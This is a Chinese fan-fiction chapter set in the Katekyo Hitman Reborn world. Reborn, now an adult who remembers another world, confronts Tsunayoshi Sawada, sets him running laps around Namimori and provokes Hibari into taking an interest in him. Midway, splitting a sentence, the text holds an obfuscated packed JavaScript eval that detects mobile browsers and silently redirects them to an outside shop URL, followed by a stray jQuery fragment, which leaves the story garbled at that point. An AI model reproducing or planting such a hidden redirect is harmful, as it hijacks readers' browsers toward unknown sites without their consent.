对于沢田纲吉来说,没什么比听到这句话来说更吓人的了。
下意识向后退,却被身后的沙发绊了一跤,整个人顿时跌坐进沙发中。
“你,你是Reborn?”沢田纲吉语气飘忽,“可Reborn现在应该没那么大。”
“我也想问你。”Reborn一步一步从楼梯上走下来,直至站定在沢田纲吉面前,“我们从未见过,你又是怎么知道我的名字?”
“从小到大都没有离开过并盛也没经过训练,可以说身体素质一塌糊涂,是怎么在今天突飞猛进,以一个堪称漂亮的反应没让自己摔下去。”
冰凉的槍口抵在沢田纲吉的额头上,“有什么要解释的吗?”
沢田纲吉额上沁出冷汗,那把槍再熟悉不过了,是由列恩变化而成。
但依照现在的情况,他可不认为里面放着的事特殊弹。
“你监视我。”沢田纲吉哆嗦着说道,“我,我就是认识你,从,从...”
他的眼神落在今天取得报纸上,“我从报纸上见过你。”
咔哒一声,Reborn冷冷地说道,“沢田纲吉,你真以为我不敢杀你吗?”
这人是认真的,沢田纲吉闭上眼,决定全盘托出,信不信是这人的事。
如果说了自己还是死路一条,那也没办法了,打又打不过。
“我,我在另一个世界见过你。”沢田纲吉想要说出某种气势,实际上他的声音在Reborn听起来还在哆嗦。
沢田纲吉闭着眼所以看不到Reborn的神色,只是感到原本顶在额头上的槍口被挪开了。
他想睁开眼从沙发上爬起来,毕竟一直维持着仰躺的姿势,自己也有些受不住。
“继续。”他听到Reborn冷冷地说道。
沢田纲吉动作顿住了,“然后,然后,然后少年的你就训练了我。”
“你在那个地方担当彭格列门外顾问的首领。”
“听起来你很不满意?”
“谁会满意那种训练啊!”沢田纲吉此时嘴比脑子快,说完才发现自己说错话了。
猛地睁开眼,就看见那个大人版的Reborn早已坐在了另一侧的沙发上,正在逗弄趴在肩头的列恩。
Reborn自然知道沢田纲吉说的是真话,毕竟他自己都拥有了另一份记忆。
“从今天开始,我会把你培养成优秀的首领。”Reborn将视线落在沢田纲吉身上,“你还有什么要说的吗?”
沢田纲吉犹豫半晌,权衡利弊之下,他还是说出了心中的话,“可以拒绝吗?”
Reborn眼神一凛,沢田纲吉吓得立马坐直了。
“因,因为你再把培养成首领也没意义了吧。”好歹也在另一个世界跟着Reborn学习了一段时间。
彭格列是做什么的他还是知道的,这么大的家族不可能因为缺少一个人就停滞不前。
Reborn嗤笑,若不是有Xanxus在外压着,彭格列现在就从里世界教父的位置上退出去了。
现在的彭格列早已不比从前,甚至还不如九代在位的时期。
加上最近兴起的西蒙家族也有些蠢蠢欲动,根据记忆Reborn自然知道是因为什么。
但解铃还须系铃人,科扎特和Gitto之间约定的回忆还握在复仇者手中。
想要解开古里炎真的心结还是需要沢田纲吉本人,Reborn在想起古里炎真名字的时候心中也有些烦躁。
以他的实力对上古里炎真并不是什么难事,唯一难搞的就是附身在加藤朱利身上的D·斯佩多。
但记忆中古里炎真和沢田纲吉的关系还不错,所以现在只能将希望寄于面前的人身上。
Reborn的心情顿时恶劣起来,不知是因为教导沢田纲吉还是因为西蒙。
“吃完饭休息半小时围着并盛跑一圈再回来。”Reborn轻描淡写地说道。
他没有理会沢田纲吉的拒绝,反而直接布置了任务。
沢田纲吉大惊,随即抗议,“可我今天很累啊Reborn。”
然而当Reborn看过来的时候沢田纲吉立马改口,“我知道了。”
Reborn轻哼一声,转身打开了客厅的灯光,紧接着就像在自己家一样,拿起桌上的报纸看了起来。
“我的那份少放些盐。”
“啊,好的。”沢田纲吉下意识回应,随后才反应过来自己做了什么。
什么嘛,这个人,沢田纲吉带着怨气站在灶台前,原来还是自己做饭吗。
算了,沢田纲吉心中叹气,也许过几天这人就会后悔了。
这种想法截止到他自己围着并盛跑步的时候,沢田纲吉打心底的认为自己撑不到那几天之后。
虽然在另一个世界也这样跑过,但那时候自己也不需要上班啊。
白天上完班晚上再被人逼着跑步这怎么看都是一种折磨啊。
在沢田纲吉努力围着并盛跑的时候,Reborn直接找上了在风纪财团天台上躺着的云雀恭弥。
云雀恭弥看着突然出现在天台上的Reborn,“你不是并盛的人。”
“但你很强。”云雀恭弥饶有兴趣的看着,直接从躺着的地方跳下来。
拐子出现在手中,跃跃欲试的想跟Reborn过两招。
“云雀恭弥,你现在还不是我的对手。”Reborn说道,然而这更加激起了云雀的战意。
Reborn的下一句话就止住了云雀的动作,“但我有个学生,他会很乐意当你的对手。”
“哦?”云雀恭弥放下拐子,“他叫什么?”
“沢田纲吉。”
沢田纲吉,云雀恭弥对这个名字有印象,每次遇见的时候都不敢抬头,只盯着地面。
“我会连他和你一起咬杀。”云雀恭弥说道。
Reborn嘴角勾起一抹笑,“你不会失望的。”
说完他就从天台一跃而下,消失在了云雀恭弥面前。
“哲。”
天台门瞬间被推开,草壁哲矢站到云雀恭弥身后,“恭先生。”
“将沢田纲吉的详细资料给我。”
“是!”虽然不知道恭先生在想什么,但是照做就是。
只是沢田纲吉的名字为什么这么熟悉,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17623158|205386||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
草壁哲矢心中琢磨。
直到看到调出来的资料才恍然大悟,这不是之前合作的时候在自己面前摔了一跤,材料撒的四处都是的那名员工吗......
沢田纲吉气喘吁吁回来的时候感觉Reborn的心情好像比自己出去跑步前变好了。
于是他先是有些谨慎的看了眼家里,确保脚底下没有陷阱。
便开始检查家里有没有发生什么自己不知道的变化。
Reborn倚靠在沙发上,看着沢田纲吉跟个小动物似的东找西找。
“阿纲,你还记得云雀吗?”他突然问道。
一颗心扑在检查家中物品上的沢田纲吉仅用一秒就回答了Reborn的问题。
“云雀学长吗?是个很恐怖的存在啊!”沢田纲吉顺嘴答道,“没想到在另一个世界会跟我成为同事。”
说完他才意识到自己又将另一个世界的事情说出来了。
“是这样啊。”Reborn轻飘飘地说道,“我去找过他了。”
咚!
沢田纲吉脚滑摔在了地板上,他惊恐的看着Reborn,“你没跟云雀学长说什么对吧!”
“别那么紧张,阿纲。”Reborn抬眼看向沢田纲吉,“他不是你的守护者吗?”
沢田纲吉有些抓狂,“那是另一个世界啊!”
“等等!”沢田纲吉突然反应过来,“你怎么知道云雀学长会是我的守护者。”
“竟然现在才反应过来吗。”Reborn挑眉,看着慌张地沢田纲吉,“准确来说,是我拥有了那份记忆。”
至于伽卡菲斯和火焰的事情,Reborn并不打算现在告诉沢田纲吉。
习惯了逃避,现在将这么大的压力一口气放在他面前,说不定真会连夜逃跑。
当沢田纲吉知道Reborn有记忆这件事后,顿时就想通了。
为什么这个人会在这里就像在自己家中一样。
“但是,我不是你记忆中的那个人。”沢田纲吉茫然地看向Reborn。
“我不是因为记忆中的你来的。”Reborn纠正,“是因为有人拜托我。”
与记忆中不一样的是,拜托Reborn的人不再是九代,而是伽卡菲斯。
况且在某种意义上来说,他现在能以这个面貌站在这里,也全是依靠沢田纲吉。
只有Reborn知道这具身体中藏着多大的潜力,没有什么比亲手将一颗原石打磨成钻石更有成就感。
不是为记忆中的自己而来,这反倒让沢田纲吉从心中松了口气。
“至于现在的彭格列十代目,就算不是你,瓦利亚也不会忍他太久。”
“到时候还会调查到你身上,是跟着我训练还是死在瓦利亚手下看你自己了,沢田纲吉。”
Reborn将里世界残酷的一面完全铺开在沢田纲吉面前,谁知道Xanxus还能忍现在这个位置上的人多久。
就算不是Xanxus,还活着的D·斯佩多也不会看着彭格列大厦将颓。
“我,当然是想活着...”沢田纲吉小声道。
没人会不想活着。